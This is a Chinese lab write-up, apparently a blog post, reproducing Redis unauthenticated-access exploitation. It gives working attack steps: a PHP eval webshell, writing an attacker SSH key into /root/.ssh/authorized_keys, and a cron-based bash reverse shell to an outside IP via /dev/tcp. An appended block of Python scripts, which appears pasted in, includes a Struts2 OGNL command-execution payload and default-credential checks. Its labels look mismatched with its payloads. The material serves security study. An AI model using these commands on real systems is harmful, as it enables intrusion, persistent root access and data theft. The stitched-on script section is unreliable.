[Vulhub] Redis 4.x/5.x 未授权访问漏洞

0x00 漏洞描述

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器


0x01 影响版本

数据库版本在 4.x / 5.x 以下。


0x02 靶场环境

Redis 4.0.14:https://vulhub.org/#/environments/redis/4-unacc/

复现没有用vulhub的靶场,而是自己搭建了一个:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
redis-server redis.conf
redis-cli shutdown

在这里插入图片描述

踩坑:搭建好后外部无法连接,修改配置文件

  1. 注释掉绑定ip:bind 127.0.0.1
  2. Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no:daemonize no
  3. 保护模式,关闭保护模式,否则外部ip无法连接:protected-mode no

0x03 漏洞分析

简单的说,漏洞产生条件有以下两点:

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  2. 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害:

  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  3. 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

预防措施:

  1. Redis添加密码验证;
  2. 更改端口(与其他服务不冲突);
  3. Redis尽量不要在公网开放(限制来源IP);
  4. 使用高版本的Redis;

0x04 漏洞复现

攻击机安装redis-cli远程连接工具:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make 
cp src/redis-cli /usr/bin/
redis-cli -h

接下来使用redis-cli命令直接远程免密登录redis主机:

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

可以看出靶场redis服务对公网开放,且未启用认证:
在这里插入图片描述


0x05 利用Redis写webshell

由于靶场没有开启web服务器,这里写入一个文件作为演示。

攻击条件:

  1. 靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  2. 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)

在tmp目录下写入一个test.php的木马文件:
在这里插入图片描述

注:写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行。

写入shell后在靶机上验证,已成功写入:
在这里插入图片描述

补充:当数据库过大时,redis写入shell小技巧

<?php 
set_time_limit(0);
$fp=fopen('shell.php','w');
fwrite($fp,'<?php eval($_REQUEST[8]);?>');
exit();
?>

0x06 利用"公私钥"认证获取root权限

在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
在这里插入图片描述

进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

在这里插入图片描述

连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入):cat 1.txt | redis-cli -h 10.11.45.150 -x set crack

在这里插入图片描述
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
在这里插入图片描述
设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys
在这里插入图片描述
保存并退出:
在这里插入图片描述
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:
在这里插入图片描述


0x07 crontab-计划任务getshell

攻击机上先监听端口:
在这里插入图片描述
写入计划任务(连接时需要以root用户身份):

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.143/4444 0>&1\n\n\n"
save

在这里插入图片描述
等待一分钟左右就会收到反弹shell了:
在这里插入图片描述


0x08 利用主从复制RCE(Python脚本)

漏洞存在于4.x、5.x版本中,Redis 提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在 Reids 4.x 之后,通过外部拓展,可以实现在redis中实现一个新的 Redis 命令,构造恶意 .so 文件。在两个Redis实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。

python脚本:https://github.com/Ridter/redis-rce
在这里插入图片描述
攻击后就可以在攻击机上获得反弹shell了
在这里插入图片描述


参考链接:
https://www.cnblogs.com/bmjoker/p/9548962.html(Redis未授权访问漏洞复现与利用(含Python脚本自动化测试) )
https://zhuanlan.zhihu.com/p/36529010(redis 在渗透中 getshell 方法总结)

好的,以下是对vulhub上的漏洞进行检测的Python脚本示例: 1. struts2-016漏洞检测脚本(struts2_016.py): ``` #!/usr/bin/env python import requests import sys import re headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } def poc(url): payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" url = url + "/example/HelloWorld.action" try: response = requests.get(url, params={"name": payload}, headers=headers, timeout=5) response.encoding = 'utf-8' if "root" in response.text: print("[+] Target is vulnerable: {}".format(url)) except Exception as e: pass if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: {} <url>".format(sys.argv[0])) sys.exit() poc(sys.argv[1]) ``` 2. tomcat-manager未授权访问漏洞检测脚本(tomcat_manager.py): ``` #!/usr/bin/env python import requests import sys def poc(url): url = url + "/manager/html" try: response = requests.get(url, auth=("tomcat", "tomcat"), timeout=5) if "Tomcat Web Application Manager" in response.text: print("[+] Target is vulnerable: {}".format(url)) except Exception as e: pass if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: {} <url>".format(sys.argv[0])) sys.exit() poc(sys.argv[1]) ``` 3. jenkins-cve-2018-1000861漏洞检测脚本(jenkins_cve_2018_1000861.py): ``` #!/usr/bin/env python import requests import sys def poc(url): url = url + "/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript" headers = {"Content-Type": "application/x-www-form-urlencoded"} data = { "sandbox": True, "value": "public class x { public x() {new String('').execute()}}" } try: response = requests.post(url, data=data, headers=headers, timeout=5) if "java.lang.ProcessBuilder" in response.text: print("[+] Target is vulnerable: {}".format(url)) except Exception as e: pass if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: {} <url>".format(sys.argv[0])) sys.exit() poc(sys.argv[1]) ``` 4. elasticsearch未授权访问漏洞检测脚本(elasticsearch_unauth.py): ``` #!/usr/bin/env python import requests import sys def poc(url): url = url + "/_cat" try: response = requests.get(url, timeout=5) if "/_cat/master" in response.text: print("[+] Target is vulnerable: {}".format(url)) except Exception as e: pass if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: {} <url>".format(sys.argv[0])) sys.exit() poc(sys.argv[1]) ``` 5. redis未授权访问漏洞检测脚本(redis_unauth.py): ``` #!/usr/bin/env python import redis import sys def poc(ip, port): try: r = redis.Redis(host=ip, port=port, socket_timeout=5) if r.ping(): print("[+] Target is vulnerable: {}:{}".format(ip, port)) except Exception as e: pass if __name__ == '__main__': if len(sys.argv) != 3: print("Usage: {} <ip> <port>".format(sys.argv[0])) sys.exit() poc(sys.argv[1], int(sys.argv[2])) ``` 以上脚本仅供学习和测试使用,请勿用于非法用途。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值